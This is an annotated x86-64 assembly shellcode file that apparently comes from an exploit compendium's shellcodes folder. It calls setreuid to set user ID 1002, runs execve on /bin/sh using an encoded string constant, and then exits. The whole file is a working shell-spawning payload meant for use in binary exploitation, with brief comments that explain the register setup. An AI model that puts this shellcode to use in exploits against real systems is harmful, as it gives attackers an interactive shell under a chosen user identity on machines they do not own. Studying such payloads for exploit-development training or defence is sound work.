killchain-compendium/Exploits/Binaries/shellcodes/setreuid_shell.as

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2022-11-13 22:38:01 +01:00
xor rdi,rdi <------ set the rdi to 0
xor rax,rax
xor rsi, rsi <------ set the rsi to 0
mov si, 1002 <------ put the value 1002 in the lower bits of the rsi
mov di, 1002 <------ put the value 1002 in the lower bits of the rdi
mov al,0x71 <------ put the setruid function in the al register
syscall <------ call the function.
xor rdx,rdx
movabs rbx,0x68732f6e69622fff
shr rbx,0x8
push rbx
mov rdi,rsp
xor rax,rax
push rax
push rdi
mov rsi,rsp
mov al,0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall